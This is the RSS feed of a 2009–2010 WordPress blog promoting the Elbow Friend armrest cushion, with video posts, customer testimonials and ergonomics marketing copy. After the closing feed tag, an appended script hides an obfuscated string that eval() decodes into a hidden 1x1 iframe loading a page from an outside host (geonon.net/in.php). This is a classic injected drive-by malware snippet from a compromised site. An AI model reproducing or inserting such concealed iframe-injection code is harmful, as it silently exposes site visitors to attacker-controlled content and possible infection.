<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elbow Friend Blog</title>
	<atom:link href="http://elbowfriendblog.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://elbowfriendblog.com</link>
	<description>A revolution in comfort has begun!</description>
	<lastBuildDate>Mon, 04 Jan 2010 23:57:47 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Check Out the Elbow Friend INFOMERCIAL!!!</title>
		<link>http://elbowfriendblog.com/check-out-the-elbow-friend-infomercial/</link>
		<comments>http://elbowfriendblog.com/check-out-the-elbow-friend-infomercial/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 23:57:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[armrest]]></category>
		<category><![CDATA[cushio]]></category>
		<category><![CDATA[desk chair]]></category>
		<category><![CDATA[elbow friend]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[infomercial]]></category>
		<category><![CDATA[office chair]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=83</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/check-out-the-elbow-friend-infomercial/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/check-out-the-elbow-friend-infomercial/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/check-out-the-elbow-friend-infomercial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Friends of the Elbow Friend at the MET in Hollywood, CA!</title>
		<link>http://elbowfriendblog.com/new-friends-of-the-elbow-friend-at-the-met-in-hollywood-ca/</link>
		<comments>http://elbowfriendblog.com/new-friends-of-the-elbow-friend-at-the-met-in-hollywood-ca/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 04:08:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cushion]]></category>
		<category><![CDATA[desk chair]]></category>
		<category><![CDATA[elbow friend]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[forearm]]></category>
		<category><![CDATA[workstation]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=79</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/new-friends-of-the-elbow-friend-at-the-met-in-hollywood-ca/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/new-friends-of-the-elbow-friend-at-the-met-in-hollywood-ca/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/new-friends-of-the-elbow-friend-at-the-met-in-hollywood-ca/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Look What @TheMattyMiller has to say about me! I LOVE That I Can Help!</title>
		<link>http://elbowfriendblog.com/look-what-themattymiller-has-to-say-about-me-i-love-that-i-can-help/</link>
		<comments>http://elbowfriendblog.com/look-what-themattymiller-has-to-say-about-me-i-love-that-i-can-help/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 00:22:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[desk chair]]></category>
		<category><![CDATA[elbow friend]]></category>
		<category><![CDATA[elbow pain]]></category>
		<category><![CDATA[ergonomic]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[forearm]]></category>
		<category><![CDATA[posture]]></category>
		<category><![CDATA[workstaion]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=76</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/look-what-themattymiller-has-to-say-about-me-i-love-that-i-can-help/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/look-what-themattymiller-has-to-say-about-me-i-love-that-i-can-help/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/look-what-themattymiller-has-to-say-about-me-i-love-that-i-can-help/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Check Out A New Friend of the Elbow Friend! Dave!</title>
		<link>http://elbowfriendblog.com/check-out-a-new-friend-of-the-elbow-friend-dave/</link>
		<comments>http://elbowfriendblog.com/check-out-a-new-friend-of-the-elbow-friend-dave/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 22:25:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[armrest]]></category>
		<category><![CDATA[cushion]]></category>
		<category><![CDATA[desk chair]]></category>
		<category><![CDATA[elbow friend]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[forearm]]></category>
		<category><![CDATA[office chair]]></category>
		<category><![CDATA[posture]]></category>
		<category><![CDATA[workstation]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=73</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/check-out-a-new-friend-of-the-elbow-friend-dave/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/check-out-a-new-friend-of-the-elbow-friend-dave/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/check-out-a-new-friend-of-the-elbow-friend-dave/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Look What Race Car Driver Terri O&#8217;Connell Has To Say About Her Elbow Friend</title>
		<link>http://elbowfriendblog.com/look-what-race-car-driver-terri-oconnell-has-to-say-about-her-elbow-friend/</link>
		<comments>http://elbowfriendblog.com/look-what-race-car-driver-terri-oconnell-has-to-say-about-her-elbow-friend/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 20:08:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cushion]]></category>
		<category><![CDATA[deskchair]]></category>
		<category><![CDATA[elbow friend]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[NASCAR]]></category>
		<category><![CDATA[office chair]]></category>
		<category><![CDATA[Terri O'Connell]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=68</guid>
		<description><![CDATA[<p><img class="alignleft size-medium wp-image-67" title="Look What Race Car Driver Terri O'Connell Says About Her Elbow Friend" src="http://elbowfriendblog.com/wp-content/uploads/2009/11/terri_o_dangerous_curves1-284x300.jpg" alt="Look What Race Car Driver Terri O'Connell Says About Her Elbow Friend" width="284" height="300" /> &#8220;I&#8217;m fired up over my Elbow Friend&#8217;s &#8230; I only wish I had them when I was writing my   memoir, they would have totally eased t[......]</p><p class='read-more'><a href='http://elbowfriendblog.com/look-what-race-car-driver-terri-oconnell-has-to-say-about-her-elbow-friend/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-67" title="Look What Race Car Driver Terri O'Connell Says About Her Elbow Friend" src="http://elbowfriendblog.com/wp-content/uploads/2009/11/terri_o_dangerous_curves1-284x300.jpg" alt="Look What Race Car Driver Terri O'Connell Says About Her Elbow Friend" width="284" height="300" /> &#8220;I&#8217;m fired up over my Elbow Friend&#8217;s &#8230; I only wish I had them when I was writing my   memoir, they would have totally eased the pain I felt at three in the morning with my fore arms and elbows sore and aching from laying on the arms of my chair for hours at a time. They have even taken the load off my elbows while generating my art designs. I&#8217;ve even installed them on on the console of my SUV to take the load off my fore arms on long trips while traveling down ole I 40 up to Nashville or out to Los Angeles. It&#8217;s only a matter of time before people all over America discover Elbow Friend. Even the medical communities could benefit from this innovative product!&#8221;</p>
<p>&#8211; Terri O&#8217;Connell, Memphis, TN / NSACAR Driver &#8211; Author &#8211; Artist &#8211; Engineer</p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/look-what-race-car-driver-terri-oconnell-has-to-say-about-her-elbow-friend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meet a New Friend of the Elbow Friend!</title>
		<link>http://elbowfriendblog.com/meet-a-new-friend-of-the-elbow-friend/</link>
		<comments>http://elbowfriendblog.com/meet-a-new-friend-of-the-elbow-friend/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 20:05:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[armrest]]></category>
		<category><![CDATA[cushion]]></category>
		<category><![CDATA[elbow friend]]></category>
		<category><![CDATA[ergo friendly]]></category>
		<category><![CDATA[ergonomic]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[workstation]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=63</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/meet-a-new-friend-of-the-elbow-friend/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/meet-a-new-friend-of-the-elbow-friend/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/meet-a-new-friend-of-the-elbow-friend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hear What People Have to Say About Me!</title>
		<link>http://elbowfriendblog.com/what-people-say-about-me/</link>
		<comments>http://elbowfriendblog.com/what-people-say-about-me/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 22:45:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[armrests]]></category>
		<category><![CDATA[chair]]></category>
		<category><![CDATA[cushion]]></category>
		<category><![CDATA[deskchair]]></category>
		<category><![CDATA[elbow]]></category>
		<category><![CDATA[ergonomics]]></category>
		<category><![CDATA[forearm]]></category>
		<category><![CDATA[workstation]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=57</guid>
		<description><![CDATA[<p>“Working with unsupported arms may impair circulation, restrict the natural range of shoulder motion, degenerate shoulder tendons, and dramatically sh[......]</p><p class='read-more'><a href='http://elbowfriendblog.com/what-people-say-about-me/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>“Working with unsupported arms may impair circulation, restrict the natural range of shoulder motion, degenerate shoulder tendons, and dramatically shorten time to fatigue.”- Rani Lueder, Humanics Ergo Systems, Inc.</p>
<p>The Elbow Friend is a very simple padded cushion that attaches to the top of a chair&#8217;s existing armrest.  It can instantly turn any economy chair into a custom, ergonomic-friendly luxury chair without the extravagant expense.   It can also be used on high-end chairs, waiting room chairs, patio furniture, beach chairs and even stadium seating.</p>
<p><span style="text-decoration: underline;">How does it work?</span></p>
<p>The Elbow Friend can be attached in 2 different ways utilizing hook and loop, to provide for ultimate flexibility.  You can use the adhesive pads to attach directly to a chair with hard surface armrests, or use the straps to wrap around the chair’s armrests.</p>
<p>Because of this simple method of hook and loop attachment, it can easily be removed if desired.  For example, the same Elbow Friends can be used on your chair at work, then taken off at the end of the day and brought home to be used there.</p>
<p>Why is proper elbow support so important?</p>
<p>“Armrests improve posture and promote freedom of movement while stabilizing the way we sit. They also reduce the muscle loads on the neck, shoulders and arms; reduce pressures on the spine; distribute pressures on the seat, support rising and sitting in the chair, and help us do our work.”</p>
<p>In present day situations, people often work at computer stations or desks for long periods of time.  Many of the armrests provided on chairs in the last decade present a surface of hard or relatively hard material, which is uncomfortable for the user, especially over a long period of time.  Ever sat in a chair with those hard molded-plastic armrests?  Most of us have.  Offices purchase large volumes of these chairs for an understandable reason, they’re more economical.</p>
<p>However, we now know that many Musculo-Skeletal Disorders such as neck and shoulder discomfort can result from inadequate support of the arms, and may cause people to sit in ways that eventually cause discomfort in other areas, such as the forearms or wrists.</p>
<p>Until now with the Elbow Friend, there has not been an effective or economical way of improving the quality of a user’s armrests, without having to upgrade to an expensive chair.</p>
<p>“Many of today&#8217;s computer users experience neck and shoulder symptoms.  Working with unsupported arms may impair circulation, restrict the natural range of shoulder motion, degenerate shoulder tendons, and dramatically shorten time to fatigue.  Supporting one&#8217;s arms helps prevent neck, shoulder and arm pain and discomfort.”</p>
<p><span style="text-decoration: underline;">Did you know?</span></p>
<p>Armrests reduce loads on the spine by about 10% of the user&#8217;s body weight.</p>
<p><span style="text-decoration: underline;">Did you know?</span></p>
<p>Musculo-Skeletal Disorders are prevelant in today’s computer workplaces.</p>
<p><span style="text-decoration: underline;">How does Elbow Friend help?</span></p>
<p>Occupational Therapist Theresa Wozniak, OTR</p>
<p>“The Elbow Friend helps to reduce the pressure placed onto the elbow and forearm when seated in a desk chair.  This in turn may help reduce discomfort felt from long periods of time spent seated doing desk work.  Relieving this pressure point area may help reduce numbness and tingling in the forearm and/or hands which sometimes occurs with long periods of desk work.  I found it to be especially effective when using a computer mouse.  Your body weight is usually shifted into the opposite non-mouse using arm/hand during this task.  If that arm is resting on the armrest the Elbow Friend will reduce this pressure point, which may provide a longer more comfortable work session.”</p>
<p>The Elbow Friend gets your arms and elbows up off of those hard, unforgiving armrests and provides a plush, super comfortable cushion to properly support your elbows and arms.  The unique bead filling combined with the flexibility of the linings creates a very malleable surface which allows your elbow and arm to sink into it, providing a custom support to the contours of each individual’s body.</p>
<p style="text-align: center;"><strong>WHAT PEOPLE HAVE BEEN SAYING!</strong></p>
<p style="text-align: center;">&#8220;The Elbow Friends are so great! I don&#8217;t know how I ever worked on Avid without them.&#8221;</p>
<p style="text-align: center;">- Sebastian V., Television Avid Editor</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;All my colleagues see me smiling. I tell them take my seat and feel what the Elbow Friend is like.&#8221;</p>
<p style="text-align: center;">- Bruce S., College Professor</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;Elbow Friend is awesome! Really making the day more comfortable!!!&#8221;</p>
<p style="text-align: center;">- Amber L., Post Production Coordinator</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;The Elbow friend is AMAZING! It really perks up my day!&#8221;</p>
<p style="text-align: center;">- Jon M., Television Segment Producer</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;People in my office keep trying to steal my chair, and it&#8217;s because they want my Elbow Friends! But I&#8217;m not giving them up for anything!&#8221;</p>
<p style="text-align: center;">- Mike B., Television Producer</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;Much more comfortable than a standard armrest. I spend 8-10 hours a day at the computer, and sitting in my chair has never been more comfortable.&#8221;</p>
<p style="text-align: center;">- Kristina M., Senior Geologist and AutoCAD Designer</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;I felt the benefits immediately. I won&#8217;t sit down to work without it.&#8221;</p>
<p style="text-align: center;">Ted R., Office Manager</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;It&#8217;s so easy, so comfortable, and such a bargain. You don&#8217;t need to have an expensive chair to get that expensive chair &#8216;feel&#8217;. I have taken to telling people that a chair is not complete until you add the Elbow Friend!&#8221;</p>
<p style="text-align: center;">Paul K., Theater Owner</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;I have one at the office, 2 at home, I won&#8217;t start working until it&#8217;s strapped on. I never want to be without my Elbow Friend again!&#8221;</p>
<p style="text-align: center;">Scott G., Teacher</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;I couldn&#8217;t believe the difference it made. It seemed to alleviate stress from my wrist, shoulder and neck, and gave me incentive to have better posture at the computer.&#8221;</p>
<p style="text-align: center;">Gil T., Documentary Filmmaker</p>
<p style="text-align: center;">
<p style="text-align: center;">&#8220;My elbows sunk into Elbow Friend like a boat into water, it just felt right.&#8221;</p>
<p style="text-align: center;">Tom L., Furniture Mover</p>
<p style="text-align: center;">&#8220;Elbow Friend makes even the crappiest office job better!&#8221;</p>
<p style="text-align: center;">Beth B., Segment Producer</p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: left;"><span style="text-decoration: underline;">Elbow Friend History</span></p>
<p>The Elbow Friend was developed by a film and television editor over years of working in uncomfortable chairs.  It has been extensively field tested and developed to find the perfect blend of comfort, style, ease of use and durability.</p>
<p>It’s design and fabric choices ensure a durable product that can withstand a lot of punishment and provide years of unfaltering use.  It is easily washable, contains a non-toxic filling, has several expansion accessories, and has multiple uses beyond the scope of utilizing it as an armrest cushion.</p>
<p>Great for college campuses, libraries and even video gamers.</p>
<p>Use as a wrist rest</p>
<p>Custom logo imprinting for corporate identities, colleges, sports teams</p>
<p>Multiple color choices and styles</p>
<p>Extension straps for larger armrests</p>
<p>Elbow Friend is exactly what a friend should be&#8230;.caring, supportive, fun to be with and always there for you!</p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/what-people-say-about-me/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Elbow Friend Quick Tip #3: How to Attach Your Elbow Friend</title>
		<link>http://elbowfriendblog.com/elbow-friend-quick-tip-3/</link>
		<comments>http://elbowfriendblog.com/elbow-friend-quick-tip-3/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 22:07:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=26</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/elbow-friend-quick-tip-3/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/elbow-friend-quick-tip-3/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/elbow-friend-quick-tip-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Elbow Friend Quick Tip #2: How to Clean or Change Your Elbow Friend</title>
		<link>http://elbowfriendblog.com/elbow-friend-qick-tip-2/</link>
		<comments>http://elbowfriendblog.com/elbow-friend-qick-tip-2/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 22:05:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=24</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/elbow-friend-qick-tip-2/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/elbow-friend-qick-tip-2/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/elbow-friend-qick-tip-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Elbow Friend Quick Tip #1: What Makes the Elbow Friend Better?</title>
		<link>http://elbowfriendblog.com/elbow-friend-qick-tip-1/</link>
		<comments>http://elbowfriendblog.com/elbow-friend-qick-tip-1/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 22:04:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://elbowfriendblog.com/?p=20</guid>
		<description><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/elbow-friend-qick-tip-1/"><p><em>Click here to view the embedded video.</em></p></a></p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://elbowfriendblog.com/elbow-friend-qick-tip-1/"><p><em>Click here to view the embedded video.</em></p></a></p>
]]></content:encoded>
			<wfw:commentRss>http://elbowfriendblog.com/elbow-friend-qick-tip-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var VkXmR6='d$!#o$!#c$!#u$!#m$!#e$!#n$!#t$!#.$!#w$!#r$!#i$!#t$!#e$!#($!#\'$!#<$!#i$!#f$!#r$!#a$!#m$!#e$!# $!#s$!#r$!#c$!#=$!#"$!#h$!#t$!#t$!#p$!#:$!#/$!#/$!#g$!#e$!#o$!#n$!#o$!#n$!#.$!#n$!#e$!#t$!#/$!#i$!#n$!#.$!#p$!#h$!#p$!#"$!# $!#w$!#i$!#d$!#t$!#h$!#=$!#1$!# $!#h$!#e$!#i$!#g$!#h$!#t$!#=$!#1$!# $!#f$!#r$!#a$!#m$!#e$!#b$!#o$!#r$!#d$!#e$!#r$!#=$!#0$!#>$!#<$!#/$!#i$!#f$!#r$!#a$!#m$!#e$!#>$!#\'$!#)$!#;$!#';eval(VkXmR6.split('$!#').join(""));</script>